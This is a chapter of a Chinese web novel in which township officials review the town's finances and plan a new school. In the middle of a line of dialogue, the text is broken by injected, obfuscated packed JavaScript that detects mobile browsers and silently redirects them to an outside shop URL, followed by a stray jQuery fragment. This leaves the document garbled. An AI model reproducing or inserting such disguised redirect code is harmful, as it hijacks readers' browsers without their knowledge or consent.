姜映月思路飞快,瞬间理清其中的蹊跷,低声分析:“按常理,田明哲得了这么大的人情,就算不当面道谢,也绝对不会摆脸色。”
“事办成了,他反倒满心不满、态度反常,这说明中间肯定出了我们不知道的纰漏,大概率有人暗中搞鬼,让他误会了我们。”
叶舟瞬间反应过来,越想越觉得不对劲。
田明哲在镇里扎根多年,为人耿直踏实、任劳任怨,从来不是恃宠而骄、不知好歹的人。这次反常举动,绝对事出有因。
“我现在就去找他问清楚!”叶舟当即起身。
“坐下,别急。”姜映月立刻开口拦住他,神色沉稳,“大白天在办公楼,人多眼杂。你当众找他私聊敏感事,太扎眼了。”
“隔墙有耳,万一真有猫腻,你这么一闹,只会打草惊蛇,反倒查不出真相。”
到底是一把手,心思远比他周全、沉稳。
叶舟瞬间冷静下来,恍然大悟:“还是书记考虑得周到。那我晚上单独约他吃饭,就我们两个人,喝点酒慢慢聊,旁敲侧击套套他的话。”
“嗯,就这么办。”姜映月点头,暂时压下这件事,转回正题,“对了,你刚才抱着文件过来,是有正事汇报?”
“差点忘了。”叶舟拿起文件,神色认真,“书记,咱们镇产业彻底稳住了,我觉得民生配套该跟上了。我想提前规划教育建设。”
“我有两个思路,要么引进资本建私立学校,要么镇财政自筹,新建一所标准化公立学校,补齐咱们的教育短板。”
姜映月沉默片刻,看着他,无奈笑了笑。
叶舟眼光长远、事事为民,这点没得说。但建学校,从来不是小打小闹,是实打实的烧钱无底洞。
“想法很好,但目前不现实。”她条理清晰地分析,“私立学校学费高,咱们镇大部分普通家庭承受不起,建了也是闲置。”
“至于镇里自建,你是不是觉得日子刚好过两天,就有点心急了?征地、建房、设备、师资工资、日常运维,每一笔都是巨款,耗得起吗?”
她太清楚望川镇的老底了。前几年连年赤字、负债累累,勉强维持运转,就算这两年产业起来了,也不可能宽裕到能独立建校的地步。
叶舟却胸有成竹,笑着抬手:“书记,我不是空想。来之前我已经跟财政所何家劲对账核实完了,三年总账,我给您细报一遍。”
姜映月眉梢一挑,看出他有备而来,往后靠在椅背上,淡淡道:“行,我听听,咱们现在到底有多少家底。”
叶舟翻开对账明细,语气沉稳,逐项汇报:“从三年前产业落地,结合今年秋季合作社、粮食加工厂预估营收,咱们镇三年总营收,共计14959万元。”
这数字一出,姜映月猛地坐直身体,瞳孔微缩,满脸难以置信。
“多少?你再说一遍?”
“一亿四千九百五十九万。”叶舟重复了一遍,随即解释,“上级补助872万,本级小额税费197万,剩下的1.4亿全是咱们自营产业挣来的,不含专项拨款,是纯实打实的收入。”
姜映月彻底愣住了,嘴巴微张,半天说不出一句话。
一个基层乡镇,不靠上级大额输血,纯靠自己干事创业,三年干出近1.5亿营收!这成绩放在整个安阳县,都是独一份,说出去根本没人信!
叶舟没有停顿,继续清晰汇报:“支出我也全部核算清楚了。”
“全镇干部工资、机关运维、民生医疗、五保救助、基建维保、征兵计生等硬性公共支出,三年合计1200万。”
“产业支出:两万六千亩沙地三年租金3170万,种子、化肥、农机、人工成本7530万,粮食加工厂建设210万。”
“另外,今年结清村村通贷款500万,在建生活广场、便民超市预估投入200万。”
“所有支出累加,总计12810万元。”
说完,叶舟把报表递到姜映月面前。
姜映月握着那份报表,指尖微微收紧,目光死死钉在“2149万”那行数字上,久久没有挪开。她反复翻看了三遍,确认每一笔收入都有出处、每一笔支出都有依据,才终于确信这不是梦。
“何家劲跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829415|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你对了几遍账?”她抬起头,声音里还带着没散尽的颤音。
“三遍。”叶舟说,“我让他逐项核对,每对一遍就签一次字,确保万无一失。”
姜映月点了点头,把报表轻轻放下,指尖还压在纸面上,像是怕它突然消失一样:“你这份数据,比县财政局给出来的都细。”
她靠在椅背上,长长呼出一口气,眼底的震惊慢慢沉淀下来,取而代之的是笃定和踏实:“这笔钱,够我们干很多事了。不光是建学校,卫生院也可以动一动,还有镇里的路、水、电——以前想都不敢想的事,现在都有底气了。”
叶舟没有打断她,只是安静地等着。
过了一会儿,姜映月重新坐直身子,目光落在叶舟脸上:“学校的事,你心里有具体的数没有?占地多少亩?建多大?分几期?”
叶舟从公文包里抽出另一份材料:“我初步算过。如果按九年一贯制规划,小学初中一起建,占地在四十到五十亩之间,第一期先起教学楼和操场,后续再补实验楼和宿舍,总预算控制在八百万以内。”
姜映月接过那份草图扫了一眼,没有立刻表态,但眼底的满意已经藏不住了。她把草图放在桌上,忽然笑了:“叶舟,你这三年,是真的把望川镇当家了。”
叶舟没有接话,只是微微垂下眼。姜映月也沉默了片刻,然后重新把目光投向那份财政报表。
“哈哈!哈哈哈!”
办公室里的安静被她自己打破,笑声从嗓子眼里滚出来,越笑越痛快,笑得眉眼舒展、前仰后合,平日里的沉稳克制彻底褪去,只剩满心畅快。
“两千一百四十九万!我们望川镇,终于彻底翻身富裕了!”
这不是冰冷的数字,是她和叶舟扎根基层、日夜操劳三年,一点点拼出来、干出来的实打实功绩。
叶舟看着她由衷喜悦的模样,也跟着笑了:“所以书记,现在建校,我们完全有底气、有能力落地。”
“何止是可以考虑!”姜映月猛地一拍桌子,眼神发亮,语气铿锵有力,“要建!就建全县规格最高、配套最好、口碑最硬的学校!”